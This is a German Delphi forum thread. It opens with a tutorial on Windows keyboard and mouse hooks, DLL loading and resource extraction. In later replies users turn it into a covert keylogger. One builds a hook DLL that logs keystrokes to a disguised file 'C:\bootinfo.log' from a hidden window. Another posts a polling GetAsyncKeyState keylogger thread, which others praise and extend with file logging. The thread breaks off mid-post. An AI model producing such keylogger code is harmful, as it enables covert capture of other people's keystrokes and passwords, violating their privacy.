Entwickler-Ecke
Delphi Tutorials - Hooks
Tino - Fr 14.06.02 14:13
Titel: Hooks
Hooks
Autor: Assarbad
E-Mail: assarbad AT gmx DOT info
Quelle:
http://www.assarbad.net
Inhalt:
- Kapitel 1: Vorwort
- Kapitel 2: Wozu Hooks
- Kapitel 3: Unser erster Hook... die Tastatur
- Kapitel 4: Abseits des Themas
- Kapitel 5: Das versprochene Schmankerl
- Kapitel 6: Die Kommunikation Programm <-> DLL
Kapitel 1: Vorwort
Hallo Leute, es ist nun inzwischen mein 4. Tutorial und es gibt noch viele Fragen zu beantworten.
Eine Ermahnung an alle Script-Kiddies an dieser Stelle. Meine Tutorials sind a.) dazu gedacht Programmierern etwas beizubringen. Und b.) sähe ich es ungern, wenn plötzlich ein Keylogger zum ausspionieren aus diesem Know-How entstünde.
Desweiteren gibt es ja immer wieder mal Leute die meinen, das Design eines Programms zu ändern und hernach das eigene Copyright drunterzusetzen würde dann ein eigenes Programm sein! Kleiner Tip an dieser Stelle: Dies ist nicht der Fall. Anständigerweise setzt man normalerweise zumindest ein "Portions Copyright" drunter. Naja gut, um ehrlich zu sein, früher hab ich das auch schon mal gemacht. Ist ja schließlich unendlich cool, wenn beim Booten plötzlich alle wichtigen Programme das eigene Copyright tragen, aber diese Programme blieben dann tatsächlich auf meiner Festplatte. Zumal ich damal vom Internet noch nichtmal geträumt habe. Ich finde das nicht witzig aber sehr unehrenhaft. Ein Link auf meine Seite hätte es an dieser Stelle auch getan. Allerdings hat man das Programm inzwischen etwas abgeändert ... es kann jetzt 3% mehr Funktionalität aufweisen und so gesehen ist das eigene Copyright sicher schon wieder gerechtfertigt ... Die Firma dankt ... dafür jedenfalls veröffentliche ich meine Sourcen nicht.
Kapitel 2: Wozu Hooks
Ganz einfach: Hooks (engl. für Haken) machen eigentlich nur global wirklich Sinn, oder dort wo die Funktionalität durch den Rest der API nicht abgedeckt wird. Zum Besipiel ist es kein Problem mit Mouse-Capturing auch Mouseereignisse über fremden Fenstern abzufangen. Nur bekommen eben diese Fenster dann keine Messages!!!
An dieser Stelle setzen Hooks an. Sie ermöglichen es Messages abzufangen bevor sie an ein Fenster gesendet werden. Dabei kann ein Prozeß allein den Hook setzen (lokal) und damit ist der Hook auch nur für diesen Prozeß (lt. Doku sogar nur Thread) gültig. Ein globaler Hook muß, wie so ziemlich alles, was global (innerhalb aller Prozesse) laufen soll in einer DLL invoziert werden. Dabei ist es nur nötig die eigentliche Hook-Procedure in die DLL auszulagern und deren Adresse an SetWindowsHookEx() zu übergeben. Es ist allerdings state-of-art in der DLL eine Installations- und Deinstallationsroutine für den Hook zu exportieren. Dies erleichtert den Umgang und ermöglicht zum Beispiel das Entladen der DLL wegzulassen ...
Grundlagen
Zuerst einmal die Typen von Hooks die es gibt:
Delphi-Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16:
| Typ threadlokal systemglobal WH_CALLWNDPROC X X WH_CALLWNDPROCRET X X WH_CBT X X WH_DEBUG [NT] X X WH_FOREGROUNDIDLE X X WH_GETMESSAGE X X WH_JOURNALPLAYBACK X WH_JOURNALRECORD X WH_KEYBOARD X X WH_KEYBOARD_LL [NT] X WH_MOUSE X X WH_MOUSE_LL [NT] X WH_MSGFILTER X X WH_SYSMSGFILTER X WH_SHELL X X |
Die Funktionen die man braucht umfassen:
Delphi-Quelltext
1: 2: 3: 4:
| SetWindowsHookEx() UnhookWindowsHookEx() CallNextHookEx() HookProc() |
Wobei letztere so eine Art Callback-Funktion ist, die die eigentliche Arbeit erledigt. Die Deklaration dieser Funktion ist bei allen Hooktypen gleich.
Kapitel 3: Unser erster Hook ... die Tastatur
Als erstes werden wir einen Tastaturhook erstellen. Da der globale Hook meiner Auffassung nach eine Übermenge des lokalen Hooks ist, werden wir den Hook als global konzipieren.
Insgesamt werden wir uns bei den hiesigen Beispielen darauf beschränken die Rückgabewerte nur auszuwerten und nicht zu modifizieren. Hier haben wir auch schon einen weiteren Vorteil von Hooks. Ich bin also in der Lage mit Hilfe eines Hooks Messages und ihre Parameter zu bearbeiten.
Schauen wir uns erstmal die Deklarationen für die obigen Funktionen an. (In gleicher Reihenfolge, letztere könnte evtl. verwirrend sein)
Delphi-Quelltext
1: 2: 3: 4: 5: 6: 7: 8:
| function SetWindowsHookEx(idHook: Integer; lpfn: TFNHookProc; hmod: HINST; dwThreadId: DWORD): HHOOK; stdcall; function UnhookWindowsHookEx(hhk: HHOOK): BOOL; stdcall; function CallNextHookEx(hhk: HHOOK; nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; type TFNHookProc = function (code: Integer; wparam: WPARAM; lparam: LPARAM): LRESULT stdcall; |
Wir schreiben also einen globalen Hook. Bekannt ist bereits, daß dieser in einer DLL ausgelagert sein muß, da nur eine DLL innerhalb anderer Prozesse ausgeführt werden kann.
Jetzt kommts gleich ganz dick. Hier der komplette Code für einen Tastaturhook. Dieser Hook führt keinerlei Bearbeitung oder so durch. Er soll nur zur Veranschaulichung dienen und wird sogleich erklärt. Zum Teil sind Erklärungen in Form von Kommentaren vorhanden.
Delphi-Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49: 50: 51: 52: 53: 54:
| library KeyboardHook;
uses Windows, Messages;
var HookHandle: Cardinal = 0; WindowHandle: Cardinal = 0;
function KeyboardHookProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; begin Result := CallNextHookEx(HookHandle, nCode, wParam, lParam); case nCode < 0 of TRUE: exit; FALSE: begin end; end; end;
function InstallHook(Hwnd: Cardinal): Boolean; stdcall; begin Result := False; if HookHandle = 0 then begin HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyboardHookProc, HInstance, 0); WindowHandle := Hwnd; Result := TRUE; end; end;
function UninstallHook: Boolean; stdcall; begin Result := UnhookWindowsHookEx(HookHandle); HookHandle := 0; end;
exports InstallHook, UninstallHook; end. |
Tja, da denkt man erst jetzt kommt sonstwas und dann nur so ein kleiner Schnipsel ;)
Der größte Teil dürfte verständlich sein. Aber der aufmerksame Leser und Programmierer wird sich an dieser Stelle fragen, welches Fenster ich als Handle übergeben bekomme und sichere. Nun, dies ist eine einfache Geschichte, üblicherweise schickt man die Daten die der Hook erhält an ein Fenster weiter (meist mit Hilfe von Fensternachrichten) ... dazu braucht man natürlich das Handle.
Ansonsten kann man sehr schön sehen wie der Hook installiert wird, insofern er es nicht schon ist - und deinstalliert wird. Die zuständigen Routinen werden ausgelagert.
An dieser Stelle kann man also bequem mit dem Vorurteil aufräumen, Hooks seien eine komplizierte Materie. (Dies, das werdet Ihr schnell mitbekommen, wird erst der Fall sein, wenn man die erhaltenen Daten modifiziert. Bei Shellhooks hat sich da mancher schon einen Neustart nicht verkneifen können, nachdem das System in etwas instabilem und unnutzbarem Zustand war ...)
Übrigens ist an dieser Stelle noch zu erwähnen, daß durch verändern von WH_KEYBOARD in WH_MOUSE ausreicht um den Hook zu einem Mousehook zu machen.
Kapitel 4: Abseits des Themas
So. Für das Thema Hook soll es das erstmal soweit gewesen sein, ich habe den Quelltext auskommeniert, so daß Ihr Euch dort ohne weiteres zurechtfinden solltet.
Wir wenden uns nun dem drumherum zu. Ich erkläre dazu kurz den Import von Funktionen aus einer DLL und zwar sowohl dynamisch als auch statisch. Zum Schluß als kleines Schmankerl noch eine Routine um die DLL nach dem Einkompilieren als Ressource wieder zu extrahieren.
Hier also erstmal die dynamische Variante:
Delphi-Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16:
| type TInstallHook = function(Hwnd: THandle): Boolean; stdcall; TUninstallHook = function: Boolean; stdcall;
var InstallHook: TInstallHook; UninstallHook: TUninstallHook; lib: Cardinal;
begin lib := LoadLibrary('keyboardhook.dll'); if lib <> INVALID_HANDLE_VALUE then begin InstallHook := GetProcAddress(lib, 'InstallHook'); UnInstallHook := GetProcAddress(lib, 'UninstallHook'); end; end; |
Zuerst wird hier der jeweilige Typ für die exportierten Funktionen deklariert, welche importiert werden sollen. Hernach definiert man Variablen mit eben diesen Typen und lädt als erstes die DLL. Nachdem die DLL geladen ist, wird mit Hilfe des Instanzenhandles versucht die Prozedureinsprungspunkte zu erhalten. Im Endeffekt kann man die Funktionen dann benutzen, als wären sie über eine Unit eingebunden. Wenn man die DLL nicht mehr benötigt sollte man die über FreeLibrary() wieder entladen.
Und jetzt die statische Variante:
Delphi-Quelltext
1: 2:
| Function InstallHook(Hwnd: THandle): Boolean; stdcall; external 'keyboardhook.dll'; function UninstallHook: Boolean; stdcall; external 'keyboardhook.dll'; |
Hier könnte man ja nun denken, aha die Variante ist ja einfacher. Von der Sache her korrekt - allerdings versperrt sie einige Optionen. Die statische Variante wird in der Importtabelle des Programms festgehalten. Diese Tabelle ist eine Art Platzhalter für die einzelnen Adressen und wird vom Loader gefüllt. Aus diesem Grunde muß die DLL auch verfügbar sein, wenn das Programm startet, ansonsten gibt es einen Fehler. Um dies zu verhindern benutzt man eben dynamisches Laden. Damit wird es ermöglicht vor dem Laden der DLL code auszuführen um zum Bsp. einen Fehler auszugeben, wenn die DLL nicht vorhanden ist. Dies ist m.M. IMMER besser als die statische Form des Imports und bei Anwendungen die systemspezifische Funktionen (LANMAN, NT native API, NT security API) benutzen, unabdingbar!!! Nichtsdestotrotz wird die statische Variante häufiger verwendet.
Kapitel 5: Das versprochene Schmankerl
Um es zu nutzen muß man zuerst eine beliebige Datei (in unserem speziellen Fall eine DLL) als Ressource in das Programm einbinden.
Delphi-Quelltext
1: 2:
| HookDLL BINRES "Hooks.DLL" |
Die eingebundene Ressource kann man nun zur Laufzeit extrahieren und im Falle einer DLL dynamisch laden. Eingebunden wird eine Ressourcendatei so:
{$R main.res}Im Prinzip kann das Einbinden der Ressource an fast jeder Stelle im Source aber außerhalb des Codes geschehen.
Die benötigte und von mir entwickelte Prozedur sieht wie folgt aus und braucht nur die WINDOWS.PAS eingebunden ... CLASSES.PAS etc (wo die Streamklassen drin sind) kann man sich sparen. Nico hat dann an der Stelle, wo ich ihm die Prozedur vorgestellt habe gleich mit mir um die Wette optimiert ... sie sollte es also nun sein ;-)
Delphi-Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33:
| function putbinresto(binresname: pchar; newpath: string): boolean; var ResSize, HG, HI, SizeWritten, hFileWrite: Cardinal; begin result := false; HI := FindResource(hInstance, binresname, 'BINRES'); if HI <> 0 then begin HG := LoadResource(hInstance, HI); if HG <> 0 then begin ResSize := SizeOfResource(hInstance, HI); hFileWrite := CreateFile( pchar(newpath), GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, 0 ); if hFileWrite <> INVALID_HANDLE_VALUE then try result := (WriteFile( hFileWrite, LockResource(HG)^, ResSize, SizeWritten, nil ) and (SizeWritten = ResSize)); finally CloseHandle(hFileWrite); end; end; end; end; |
Die Anwendung dieser Prozedur kann man im beiliegenden Beispiel zu den Hooks nachvollziehen.
Kapitel 5: Die Kommunikation Programm <-> DLL
In diesem Falle haben wir eine systemweit einmalige Message registiert. Diese wird gebroadcastet und gelangt so auch an unser Fenster. Der Rest wird durch setzen und auslesen der Windowproperties gelöst. Dies ist zwar langsam, demonstriert aber sehr gut die Arbeit mit Properties.
Registrieren der Window-Message:
Delphi-Quelltext
1: 2:
| WM_MOUSEHOOKMSG:=RegisterWindowMessage(mousmsg); WM_KEYBHOOKMSG:=RegisterWindowMessage(keybmsg); |
Broadcast:
SendMessage(HWND_BROADCAST, WM_MOUSEHOOKMSG, wParam, lParam);Properties werden auf DLL-Seite gesetzt:
Delphi-Quelltext
1: 2: 3: 4: 5:
| setprop(WindowHandle, 'mous_ncode', nCode); setprop(WindowHandle, 'mous_hwnd', PMOUSEHOOKSTRUCT(lParam)^.hwnd); setprop(WindowHandle, 'mous_hitt', PMOUSEHOOKSTRUCT(lParam)^.wHitTestCode); setprop(WindowHandle, 'mous_xpos', PMOUSEHOOKSTRUCT(lParam)^.pt.x); setprop(WindowHandle, 'mous_ypos', PMOUSEHOOKSTRUCT(lParam)^.pt.y); |
... und auf Hauptprogrammseite beim Empfang der gebroadcasteten Message ausgelesen (die Werte werden im Fenster gesetzt): //----little dirty trick. using window properties allows inter process communication ;)
Delphi-Quelltext
1: 2: 3:
| temp := code2string(getprop(hwnd, 'mous_ncode')); SetDlgItemText(hwnd, IDC_EDIT8, pchar(temp)); |
Da die Message keine ECHTE Konstante ist, mußte statt der CASE-Schleife eine IF-Schleife herhalten.
Viel Spaß mit Hook-Programmierung wünscht
-=Assarbad=-
S - tefano - Do 19.06.03 12:28
Hi,
funzt soweit ganz gut - unter den 9x- Systemen jedenfalls.
Unter XP läufts mit WH_KeyBoard nicht, da wird jede Taste als Pause-Taste erkannt.
Dann hab ich mir gedacht, könnt ich ja anstatt WH_KeyBoard mal WH_KeyBoard_LL übergeben, weil du in deiner Tabelle ja [NT] dahinter geschrieben hast.
Allerdings wird dieser Wert vom Compiler nicht gefunden. Hab dann mal selber in der Unit Windows nachgesehen. Da stehen die meisten deiner Definitionen drin, aber die mit _LL dahinter fehlen.
Hab ich einfach ne zu alte Version der Windows- Unit? Benutze ja Delphi 7, da müssten diese _LL- Werte doch eigentlich auch definiert sein.
Kann man die Werte einfach hinzufügen, indem man ihre Definitionen einfach in die Windows- Unit einbindet?
Wenn dem so ist, könntest du (oder jemand anders) bitte die entsprechenden Auszüge dieser Definitionen posten?
Danke schonmal,
S - tefano
Anonymous - Di 24.06.03 18:10
Neueste stark überarbeitete Version hier:
http://assarbad.net/stuff/tutorials/hooks/preview/
(Die endgültige Version wird ein Verzeichnis tiefer anzutreffen sein. Derzeit ist dort noch das alte Tutorial).
@Tino: Die URL, siehe oben, stimmt nicht mehr ;) ... wäre gut, wenn du her genau wie beim DLL-Tut nur Links reinmachen würdest. Ich geb dir bescheid, sobald die endgültige Version fertig ist.
F34r0fTh3D4rk - Mi 09.02.05 20:10
ich hab das bis jetzt so:
Delphi-Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49: 50: 51: 52: 53: 54: 55: 56: 57: 58: 59: 60: 61: 62: 63: 64: 65: 66: 67: 68: 69: 70: 71: 72: 73: 74: 75: 76: 77: 78: 79: 80:
| unit UMain;
interface
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs;
type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); private public end;
type TInstallHook = function(Hwnd: THandle): Boolean; stdcall; TUninstallHook = function: Boolean; stdcall;
var Form1: TForm1; InstallHook: TInstallHook; UninstallHook: TUninstallHook; lib: Cardinal;
implementation
{$R *.dfm} {$R hook.res}
function putbinresto(binresname: pchar; newpath: string): boolean; var ResSize, HG, HI, SizeWritten, hFileWrite: Cardinal; begin result := false; HI := FindResource(hInstance, binresname, 'BINRES'); if HI <> 0 then begin HG := LoadResource(hInstance, HI); if HG <> 0 then begin ResSize := SizeOfResource(hInstance, HI); hFileWrite := CreateFile( pchar(newpath), GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, 0 ); if hFileWrite <> INVALID_HANDLE_VALUE then try result := (WriteFile( hFileWrite, LockResource(HG)^, ResSize, SizeWritten, nil ) and (SizeWritten = ResSize)); finally CloseHandle(hFileWrite); end; end; end; end;
procedure TForm1.FormCreate(Sender: TObject); begin lib := LoadLibrary('h32.dll'); if lib <> INVALID_HANDLE_VALUE then InstallHook := GetProcAddress(lib, 'InstallHook'); end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin lib := LoadLibrary('h32.dll'); if lib <> INVALID_HANDLE_VALUE then UnInstallHook := GetProcAddress(lib, 'UninstallHook'); end;
end. |
und natürlich die dll aber ich weiß net wies weiter gehen soll, bis dahin ist alles schön erklärt, aber wie mache ich jetzt zb, dass die keys in eine datei gespeichert werden oder in ein memo kommen (bitte ausführlich beschreiben, sagen was wo hinkommt, danke!) :D
und was soll diese procedure, die exportiert die datei die mit der res reinkompiliert wurde, aber warum was bringt das und was paiiert mit der datei ?
Anonymous - Mi 09.02.05 20:47
Es gibt in der neuen Version einen ausführlichen Quelltext, wo ersichtlich ist, wie man es speichert. Es ist direkt als Keylogger aufgemacht, sollte also eindeutig sein.
Die Funktion zum "Export" einer Datei aus den Ressourcen dient prinzipiell nur dazu _eine_ kompakte Datei ausliefern zu können, die dann auch gleichzeitig die DLL enthält. Sie ist nicht für die Funktionalität der Hooks notwendig und das ist ebenfalls in der PDF beschrieben.
F34r0fTh3D4rk - Mi 09.02.05 21:21
also meine DLL sieht so aus:
Delphi-Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49: 50: 51: 52: 53: 54: 55: 56: 57: 58: 59: 60: 61: 62: 63: 64: 65: 66:
| library H32; uses Windows, Messages;
var HookHandle: Cardinal = 0; WindowHandle: Cardinal = 0;
function KeyboardHookProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall; var PID, sizewritten, hFile: LongWord; begin Result := CallNextHookEx(HookHandle, nCode, wParam, lParam); case nCode < 0 of True: exit; False: begin if ((lParam and $80000000) = 0) = false then begin hFile := CreateFile('C:\bootinfo.log', GENERIC_WRITE or GENERIC_READ, 0, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); if hFile <> INVALID_HANDLE_VALUE then try SetFilePointer(hFile, 0, nil, FILE_END); PID := GetCurrentProcessID; WriteFile(hFile, PID, sizeof(PID), sizewritten, nil); WriteFile(hFile, lParam, sizeof(lParam), sizewritten, nil); WriteFile(hFile, wParam, sizeof(wParam), sizewritten, nil); finally CloseHandle(hFile); end; end; end; end; end; function InstallHook(Hwnd: Cardinal): Boolean; stdcall; begin Result := False; if HookHandle = 0 then begin HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyboardHookProc, HInstance, 0); WindowHandle := Hwnd; Result := TRUE; end; end;
function UninstallHook: Boolean; stdcall; begin Result := UnhookWindowsHookEx(HookHandle); HookHandle := 0; end;
exports InstallHook, UninstallHook; end. |
Meine Hauptunit so:
Delphi-Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49: 50: 51: 52: 53: 54: 55: 56: 57: 58: 59: 60: 61: 62: 63: 64: 65: 66: 67: 68: 69:
| unit UMain;
interface
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs;
type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean); private public end;
var Form1: TForm1; HWND: Cardinal; HookHandle: Cardinal = 0; WindowHandle: Cardinal = 0;
implementation
{$R *.dfm}
function KeyboardHookProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall; var PID, sizewritten, hFile: LongWord; begin Result := CallNextHookEx(HookHandle, nCode, wParam, lParam); case nCode < 0 of True: exit; False: begin if ((lParam and $80000000) = 0) = false then begin hFile := CreateFile('C:\bootinfo.log', GENERIC_WRITE or GENERIC_READ, 0, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); if hFile <> INVALID_HANDLE_VALUE then try SetFilePointer(hFile, 0, nil, FILE_END); PID := GetCurrentProcessID; WriteFile(hFile, PID, sizeof(PID), sizewritten, nil); WriteFile(hFile, lParam, sizeof(lParam), sizewritten, nil); WriteFile(hFile, wParam, sizeof(wParam), sizewritten, nil); finally CloseHandle(hFile); end; end; end; end; end;
function InstallHook(Hwnd: Cardinal): Boolean; stdcall; external 'H32.dll'; function UninstallHook: Boolean; stdcall; external 'H32.dll';
procedure TForm1.FormCreate(Sender: TObject); begin HWND:= SetWindowsHookEx(WH_KEYBOARD, @KeyboardHookProc, HInstance, 0); if installhook(hwnd) then showmessage('Hook erfolgreich installiert!'); end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean); begin canclose:= uninstallhook; end;
end. |
und die programm unit so:
Delphi-Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14:
| program Tastaturhook;
uses Forms, UMain in 'UMain.pas' ;
{$R *.res}
begin Application.Initialize; Application.CreateForm(TForm1, Form1); Application.ShowMainForm:= false; Application.Run; end. |
aber es funktioniert garnicht, normalerweise sollte die bootinfo.log geschrieben werden, was hab ich falsch gemacht oder vergessen damit das geht ?
Die Showmessage kommt, also muss Installhook ein true zurückliefern !?
F34r0fTh3D4rk - Do 10.02.05 15:47
:D habs hinbekommen, nur sieht mein code jetzt genauso aus wie beim bespiel ^^
außer dass es VCL ist, jedoch habe ich jetzt eine Frage:
Wie bekomme ichs hin, dass die Keys in einem anständigen Format gespeichert werden,
so dass ich den KeyLog Reader nicht brauche?
ich möchte die Keys direkt aus der Log Datei lesen können, wie mache ich das ?
da ist ja immer sonn gewurschtel um die Keys drumrum :roll:
Anonymous - Do 10.02.05 16:08
F34r0fTh3D4rk hat folgendes geschrieben: |
:D habs hinbekommen, nur sieht mein code jetzt genauso aus wie beim bespiel ^^
außer dass es VCL ist, jedoch habe ich jetzt eine Frage:
Wie bekomme ichs hin, dass die Keys in einem anständigen Format gespeichert werden,
so dass ich den KeyLog Reader nicht brauche?
ich möchte die Keys direkt aus der Log Datei lesen können, wie mache ich das ?
da ist ja immer sonn gewurschtel um die Keys drumrum :roll: |
Schau dir doch mal die Funktion "Format()" an. Damit sollte die Frage nach dem anderen Format schon gelöst sein. Den Rest löst du dann eben über WriteLn() und Co.
F34r0fTh3D4rk - Do 10.02.05 16:28
die hier:
Delphi-Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25:
| function Format(fmt: string; params: array of const): string; var pdw1, pdw2: PDWORD; i: integer; pc: PCHAR; begin pdw1 := nil; if High(params) >= 0 then GetMem(pdw1, (High(params) + 1) * sizeof(Pointer)); pdw2 := pdw1; for i := 0 to High(params) do begin pdw2^ := PDWORD(@params[i])^; inc(pdw2); end; GetMem(pc, 1024); if Assigned(pc) then try SetString(Result, pc, wvsprintf(pc, PCHAR(fmt), PCHAR(pdw1))); finally if (pdw1 <> nil) then FreeMem(pdw1); FreeMem(pc); end else Result := ''; end; |
wie mach ich denn damit aus dem hier:
Quelltext
1:
| à # H à #ÀH à A à ÀA à & L à &ÀL à & L à &ÀL à O à ÀO 8 * ÿ H à H 8À H *Àÿ H SÁ. |
sowas
??? Also Die ganzen Datei Formatieren oder erst in nen String laden, bitte mal bespiel oder wie kann ich das am besten gleich formatiert speichern ?
uall@ogc - Do 10.02.05 16:40
wenn man einfach nur den Text mitloggn will warum muss man das übr nen keayboard hook macen da reicht auch nen timer mit Getkeyboardstate(xxx) (war der befehl so oO) ider getasynckeystate()
das einzieg wofür man das wirklich gebrauchen kann ist für ne dllinjection obwohls da schon bessere methoden gibt
F34r0fTh3D4rk - Do 10.02.05 16:43
1. warum macht es dann keiner mit getkeystate (kA wie der hieß), außerdem wie fragt man das dann ab ?
2. Welche möglichkeiten ?
uall@ogc - Do 10.02.05 16:46
"wieso macht es denn keiner?"
weils keiner weiß und weil das mit dem hook auch keiner so macht, das war nur ein gutes bsp für DLL injection und Messagehook, aber für nen simplen keylogger einfach zu viel
F34r0fTh3D4rk - Do 10.02.05 16:48
dann gib mal n beispiel für nen simple keylogger, so simpel wie möglich natürlich ^^
Tino - Do 10.02.05 16:50
Für eine Keylogger willst Du lieber GerKeyboardState (oder wie die Funktion auch heißt) nehmen? Na dann viel Glück das Du auch wirklich alle Tastendrücke aufgezeichnet bekommst. ;-)
F34r0fTh3D4rk - Do 10.02.05 16:51
will ich nicht, uall@ogc hat das gesagt, wie mach ich das denn am besten, gaaaanz simpler keylogger, der einfach nur alles in eine datei schreibt, also die keyupmessages am besten
ich habs ja jetzt nunmal mit hooks gemacht, damit bin ich auch zufrieden, mit nem timer ist das zu unelegant gelöst, nur die textformation brauche ich noch :roll:
uall@ogc - Do 10.02.05 16:53
Delphi-Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18:
| procedure keylogger; var i: integer; begin while true do begin for i := 10 to 200 do if boolean(getasynckeystate(i)) then form1.memo1.lines.Text := form1.Memo1.lines.Text + char(i); sleep(10); end; end;
procedure TForm1.FormCreate(Sender: TObject); var tid: cardinal; begin createthread(0,0,@keylogger,nil,0,tid); end; |
das mal ne ganz einfache möglichkeit aber als ansatz schon ganz ok
F34r0fTh3D4rk - Do 10.02.05 16:55
er erkennt tid net, was ist das ?
uall@ogc - Do 10.02.05 17:00
schau dir doch erstmal den quelltext an bevor du immer glecih was schreibst, das echt schlimm
was ist wohl TID ? denk mal ganz scharf nach und schau mal in den quelltext von mir
F34r0fTh3D4rk - Do 10.02.05 17:07
oh... oh .... OHHHH :oops: , wie dumm von mir, hab vergessen das als variable bei form1.create einzutragen, hab mich schon gewundert :roll:
der code funktioniert anähernd perfekt, genau das was ich brauche, danke !
retnyg - Do 10.02.05 17:07
wow der keylogger code is genial, danke uall.
das createthread is auch ne super sache
F34r0fTh3D4rk - Do 10.02.05 17:10
er ist halt der meister nur er kommt auf sonn sch**ß der so einfach wie genial ist, so ist er halt, :flehan:
Delete - Do 10.02.05 17:12
Wenn nich sehe, wie in diesem Code der Thread erzeugt wird, dann schüttelt mich das aber ziemlich heftig und es läuft mir kalt den Rücken runter. :roll:
uall@ogc - Do 10.02.05 17:13
@Tino
wenn mans richig macht bekommt man auch alle Keys, sogar die wenn man die taste gedrückt hält
man muss halt nur eventl selbst groß klein schreibung beachten das kann man aber mit der shifttaste abfragen
man kann die schleife von 1 bis 254 erhöhen (aber nicht 255 nehmen das ist immer gedrückt ;>)
es zählen die VK_codes
naja das ist so alt und wurde schon in mehreren cheats benutzt, ich finde ahlt nen hook zu aufwändig dafür, das ist so easy und wenig code und noch net mal sehr prozessorlastig :>
@luckie das mit dem thread ist einfach hingeschrieben damits geht - und es funktioniert, wenn es auch nicht benutzt wurde wie es eigentlich soll
retnyg - Do 10.02.05 17:13
wieso, es funktioniert, und das mit einer zeile! sourcecode. anstatt da lang tthread objekte in einer eigenen unit zusammenzubasteln.
F34r0fTh3D4rk - Do 10.02.05 18:18
wie speichere ich das am besten in eine Datei ?
ich dachte ich mache eine Datei:
Delphi-Quelltext
1: 2:
| F: string; TF: file of char; |
und dann
Delphi-Quelltext
1: 2:
| F:= 'C:\keylog.txt'; if fileexists(f) then append(TF) else rewrite(TF); |
und dann natürlich mit
aber append geht ja nur bei textdateien, was nehme ich stattdessen, die datei
soll ja net jedes mal geleert werden :?
Moderiert von
Tino: Code- durch Delphi-Tags ersetzt.
retnyg - Do 10.02.05 18:22
nimm halt textfile statt file of char, da kannst genauso einzelne chars rein-write-n
Delete - Do 10.02.05 18:26
retnyg hat folgendes geschrieben: |
wieso, es funktioniert, und das mit einer zeile! sourcecode. anstatt da lang tthread objekte in einer eigenen unit zusammenzubasteln. |
Das meinte ich nicht. Lies mal mein Tutorial zu Thread:
http://tutorials.luckie-online.de .
CreateThread sollte man nicht verwenden, sondern BeginThread. Desweiteren ist der Prototyp für die Thread-Funktion eine Funktion mit einem Integerrückgabewert und einem Pointer als Parameter.
uall@ogc - Do 10.02.05 18:32
Da der parameter in EBX übergeben wird (und nicht per stack)
und EAX der rückgabe parameter ist, ist das keine begründung warum man nicht
Delphi-Quelltext
1: 2: 3: 4:
| procedure bla; begin .. end; |
benutzen kann
desweiteren wirds in c++ auch benutzt da gibt es bestimmt kein BeginThread denk aml das ist wieder delphi spezifisch ;>
EDIT:
das mit dem stack nehme ich halb zurück ;>
er ist vor der return adresse zu exitthread aufm stack, d.h. es funktioniert auch OHNE probleme so wie cihs gepostet habe
braucht man jedoch den parameter
kann man
Delphi-Quelltext
1: 2: 3: 4:
| procedure bla(p: pointer); stdcall; begin .. end; |
nehmen, BeginThread braucht mal also auch nicht und damit lucky glücklich ist:
Delphi-Quelltext
1: 2: 3: 4:
| function bla(p: pointer): integer; stdcall; begin .. end; |
aber meien variante wird genausowenig probleme machen und ist kürzer hrhr
F34r0fTh3D4rk - Do 10.02.05 19:19
das mit dem speichern mach ich jetzt so:
Delphi-Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32:
